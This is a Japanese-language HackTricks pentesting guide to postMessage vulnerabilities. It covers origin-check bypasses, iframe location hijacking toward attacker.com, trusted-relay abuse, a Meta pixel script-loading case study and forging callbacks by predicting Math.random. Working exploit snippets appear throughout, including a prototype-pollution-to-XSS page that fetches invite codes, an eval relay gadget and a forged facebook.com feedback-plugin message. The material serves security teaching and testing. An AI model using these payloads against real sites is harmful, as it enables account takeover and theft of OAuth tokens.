PostMessage 脆弱性

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PostMessage を送信

PostMessage はメッセージを送るために次の関数を使用します:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note that targetOrigin can be a ‘*’ or an URL like https://company.com.
2番目のシナリオでは、メッセージはそのドメインにしか送信できません (window object の origin が異なる場合でも)。
もし wildcard が使われている場合、メッセージは任意のドメインに送信される可能性があり、Window object の origin に送信されます。

iframe & wildcard を利用した targetOrigin への攻撃

As explained in this reportX-Frame-Header による保護がなく iframed 可能なページを見つけ、かつ postMessage を使い wildcard (*) 指定で機密メッセージを送信している場合、iframeorigin変更 して、その機密メッセージをあなたの管理するドメインに leak することができます。
ページが iframed 可能でも、targetOriginwildcard ではなく URL に設定されている 場合、この トリックは機能しません

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener は、JSが postMessages を期待する関数を宣言するために使われる関数です。
以下のようなコードが使用されます:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

列挙

現在のページで イベントリスナー を見つけるには、次のようにします:

  • JSコードを検索して window.addEventListener$(window).on を探す(JQuery version
  • 開発者ツールのコンソールで 実行: getEventListeners(window)

  • ブラウザの開発者ツールで Elements –> Event Listeners移動する

Origin チェックのバイパス

  • event.isTrusted 属性は、本物のユーザーアクションで生成されたイベントに対してのみ True を返すため安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおける重要性は大きいです。
  • PostMessage イベントでの origin 検証に indexOf() を使うとバイパスされる可能性があります。以下はその脆弱性の例です:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • String.prototype.search()search() メソッドは文字列ではなく正規表現向けに設計されています。regexp 以外を渡すと暗黙的に正規表現へ変換されるため、このメソッドは潜在的に安全でない場合があります。正規表現ではドット (.) がワイルドカードとして動作するため、特殊に作られたドメインで検証をバイパスされる可能性があります。例えば:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() 関数も search() と同様に正規表現を扱います。正規表現が不適切に構成されているとバイパスされる可能性があります。

  • escapeHtml 関数は文字をエスケープして入力をサニタイズすることを意図しています。しかし、新しいエスケープ済みオブジェクトを作成するのではなく既存オブジェクトのプロパティを書き換える動作をします。この挙動は悪用可能です。特に、オブジェクトを操作して制御下のプロパティが hasOwnProperty を認識しないようにできると、escapeHtml は期待通りに動作しません。以下の例で示します:

  • 期待される失敗:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • escape のバイパス:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

この脆弱性の文脈では、File オブジェクトが読み取り専用の name プロパティを持つため特に悪用されやすいです。このプロパティがテンプレートで使われると、escapeHtml によってサニタイズされず、セキュリティリスクにつながります。

  • JavaScript の document.domain プロパティはスクリプトによって設定され、ドメインを短縮して同一親ドメイン内でより緩い same-origin ポリシーの適用を可能にします。

Origin-only trust + trusted relays

受信側が event.origin のみをチェックしている場合(例: *.trusted.com のように信頼する)、その origin 上に攻撃者制御のパラメータを受け取って postMessage で指定された targetOrigin/targetWindow に反映するような “リレーページ” を見つけられることがよくあります。例としては、クエリパラメータを取り {msg_type, access_token, ...}opener/parent に転送するマーケティング/分析用のガジェットなどがあります。やれることは:

  • opener を持つ popup/iframe で被害者ページを開き、そのハンドラを登録させる(多くのピクセル/SDK は window.opener が存在する場合にのみリスナーをアタッチする)
  • 別の攻撃者ウィンドウを信頼された origin のリレーエンドポイントへ移動させ、注入したいメッセージフィールド(message type, tokens, nonces)を埋める
  • メッセージが 信頼された origin から来る ため、origin のみの検証を通過し、被害者のリスナー内で特権的な動作(状態変更、API 呼び出し、DOM 書き換え)を引き起こすことができる

野外で見られる濫用パターン:

  • Analytics SDK(例: pixel/fbevents スタイル)は FACEBOOK_IWL_BOOTSTRAP のようなメッセージを消費し、メッセージで渡されたトークンを使ってバックエンド API を呼び出し、リクエストボディに location.href / document.referrer を含めることがあります。自分のトークンを供給すると、そのトークンのリクエスト履歴/ログからこれらのリクエストを読み取り、被害者ページの URL/referrer に含まれる OAuth コード/トークンを exfiltrate できます。
  • 任意のフィールドを postMessage に反映するリレーは、特権リスナーが期待するメッセージタイプを spoof させます。弱い入力検証と組み合わせると Graph/REST 呼び出し、機能アンロック、CSRF 相当のフローに到達できます。

探索のヒント: postMessage リスナーの中で event.origin のみをチェックしているものを列挙し、次に URL パラメータを postMessage 経由で転送する 同一オリジンの HTML/JS エンドポイント(マーケティングプレビュー、ログインポップアップ、OAuth エラーページなど)を探します。window.open() + postMessage を組み合わせて origin チェックをバイパスします。

e.origin == window.origin bypass

sandboxed iframe を %%%%%% を使って埋め込むとき、iframe の origin が null に設定されることを理解することが重要です。sandbox 属性とそのセキュリティ・機能への影響を特に注意してください。

sandbox 属性に allow-popups を指定すると、iframe 内から開かれた popup ウィンドウは親の sandbox 制限を継承します。つまり、allow-popups-to-escape-sandbox 属性も含まれていない限り、popup ウィンドウの origin も同様に null に設定され、iframe の origin と一致します。

そのため、これらの条件下で popup が開かれ、iframe から popup に postMessage でメッセージが送られると、送信側・受信側の双方の origin は null に設定されます。結果として e.origin == window.origintruenull == null)となります。これは iframe と popup が同じ origin 値 null を共有するためです。

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

メッセージがスクリプトがリッスンしている同じウィンドウから来たかどうかをチェックすることが可能です(特に ブラウザ拡張の Content Scripts がメッセージが同じページから送られたか確認する場合に興味深いです):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

メッセージの**e.sourceをnullにするには、iframeを作成し、それがpostMessage送信**し、即座に削除されるようにします。

For more information read:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

これらの攻撃を実行するには、理想的にはput the victim web pageiframe内に配置できる必要があります。しかし、X-Frame-Headerのようなヘッダーはその挙動妨げることがあります。
そのようなシナリオでは、より目立つ攻撃を使うことも可能です。脆弱なwebアプリケーションを新しいタブで開き、それと通信することができます:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

メインページをブロックして child iframe に送信されたメッセージを盗む

次のページでは、データが送信される前にblockingしてmainページを止め、child iframeに送られたsensitive postmessage dataを盗み、XSS in the childを悪用して受信される前にleak the dataする方法を見ることができます:

Blocking main page to steal postmessage

iframe の location を変更してメッセージを盗む

別の iframe を含み、X-Frame-Header を設定していないウェブページを iframe にできる場合、change the location of that child iframeことが可能です。もしその子 iframe が postmessagewildcard を使って受信していると、攻撃者はその iframe の origin を自分が controlled するページに change し、メッセージを steal できます:

Steal postmessage modifying iframe location

postMessage to Prototype Pollution and/or XSS

postMessage を通じて送られたデータが JS によって実行される場合、iframeでそのpageを読み込み、postMessage 経由でエクスプロイトを送ってprototype pollution/XSSexploitすることができます。

postMessage を介した XSS を非常に詳しく説明したものがいくつか見つかります: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

iframe に対する postMessage を通じて Prototype Pollution and then XSS を悪用するエクスプロイトの例:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

詳細情報:

オリジン由来のスクリプト読み込みとサプライチェーン・ピボット(CAPIG ケーススタディ)

capig-events.jswindow.opener が存在する場合にのみ message ハンドラを登録しました。IWL_BOOTSTRAP 時に pixel_id をチェックしましたが event.origin を保存し、後で ${host}/sdk/${pixel_id}/iwl.js を構築するために使用しました。

攻撃者制御の origin を書き込むハンドラ ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: 例えば Facebook Android WebView では window.open(target, name) と共に window.name を再利用してウィンドウを自身の opener にし、悪意ある iframe から postMessage を送る。
  2. 任意の origin から IWL_BOOTSTRAP を送信して host = event.originlocalStorage に永続化する。
  3. 任意の CSP 許可された origin に /sdk/<pixel_id>/iwl.js をホストする(ホワイトリスト化された analytics ドメインの takeover/XSS/アップロード等)。startIWL() が埋め込みサイト(例: www.meta.com)で攻撃者の JS を読み込み、資格情報付きのクロスオリジン呼び出しやアカウント乗っ取りを可能にする。

直接的に opener を制御できない場合でも、ページ上のサードパーティ iframe を侵害すれば、親へ細工した postMessage を送って格納された host を汚染し、スクリプトの読み込みを強制できた。

Backend-generated shared script → stored XSS: プラグイン AHPixelIWLParametersPlugin はユーザールールのパラメータを capig-events.js に追加される JS に連結していた(例: cbq.config.set(...))。"]} のようなブレイクアウトを挿入すると任意の JS が注入され、これを読み込むすべてのサイトに配信される共有スクリプトに stored XSS を作成した。

Trusted-origin allowlist isn’t a boundary

厳格な event.origin チェックは、trusted origin が攻撃者の JS を実行できない場合にのみ有効である。特権ページがサードパーティ iframe を埋め込み、event.origin === "https://partner.com" が安全だと仮定すると、partner.com 内のいかなる XSS も親への橋渡しとなる:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

実際に観測された攻撃パターン:

  1. パートナーの iframe で XSS を悪用し、リレーガジェットを配置して、任意の postMessage が信頼されたオリジン内で code exec になるようにする:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, compromised iframe に JS を送り、許可された message type を parent に転送させる。メッセージは partner.com から発信され、allowlist を通過し、安全でない方法で挿入される HTML を含む:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. 親フレームが攻撃者の HTML を注入し、 JS execution in the parent origin(例: facebook.com)を発生させます。これにより OAuth コードの窃取やアカウント完全乗っ取りへのピボットに利用できます。

Key takeaways:

  • Partner origin isn’t a boundary: 「信頼された」パートナー内の任意の XSS により、攻撃者は event.origin チェックを回避する許可されたメッセージを送信できます。
  • Handlers that render partner-controlled payloads (例: innerHTML on specific message types) は、パートナーの侵害を同一オリジンの DOM XSS にします。
  • 幅広い message surface(多くのタイプ、構造検証なし)は、パートナー iframe が侵害された後のピボット用ガジェットを増やします。

Predicting Math.random() callback tokens in postMessage bridges

メッセージ検証が Math.random() で生成された「shared secret」(例: guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") })を使い、かつ同じヘルパーがプラグイン iframe に名前を付ける場合、PRNG 出力を回復して信頼されたメッセージを偽造できます:

  • Leak PRNG outputs via window.name: SDK はプラグイン iframe を guid() で自動命名します。トップフレームを制御できる場合、被害者ページを iframe 化し、プラグイン iframe を自分の origin にナビゲート(例: window.frames[0].frames[0].location='https://attacker.com')して、window.frames[0].frames[0].name を読み取ると生の Math.random() 出力を得られます。
  • Force more outputs without reloads: 一部の SDK は再初期化パスを公開しています。FB SDK では {xfbml:1} を伴う init:post を送ると XFBML.parse() が強制され、プラグイン iframe が破棄・再作成されて新しい名前/コールバック ID が生成されます。再初期化を繰り返すことで必要なだけ PRNG 出力を得られます(コールバック/iframe ID 用の追加内部 Math.random() 呼び出しがあるため、間の値をスキップする必要があります)。
  • Trusted-origin delivery via parameter pollution: ファーストパーティのプラグインエンドポイントが未サニタイズのパラメータをクロスウィンドウのペイロードに反映する場合(例: /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET)、信頼された facebook.com origin を維持したまま &type=...&iconSVG=... を注入できます。
  • Predict the next callback: 漏洩した iframe 名を [0,1) の浮動小数点に戻し、複数の値(非連続でも可)を V8 の Math.random 予測器(例: Z3 ベース)に入力します。ローカルで次の guid() を生成して期待されるコールバックトークンを偽造します。
  • Trigger the sink: postMessage データを作成してブリッジが xd.mpn.setupIconIframe をディスパッチし、iconSVG に HTML(例: URL エンコードされた <img src=x onerror=...>)を注入するようにすると、ホスティング origin 内で DOM XSS が発生します。そこから同一オリジンの iframe(OAuth ダイアログ、arbiters、など)を読み取れます。
  • Framing quirks help: このチェーンはフレーミングを必要とします。いくつかのモバイル webview では、frame-ancestors が存在すると X-Frame-Options がサポートされない ALLOW-FROM に退化することがあり、“compat” パラメータが寛容な frame-ancestors を強制して window.name サイドチャネルを有効にする場合があります。

Minimal forged message example

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする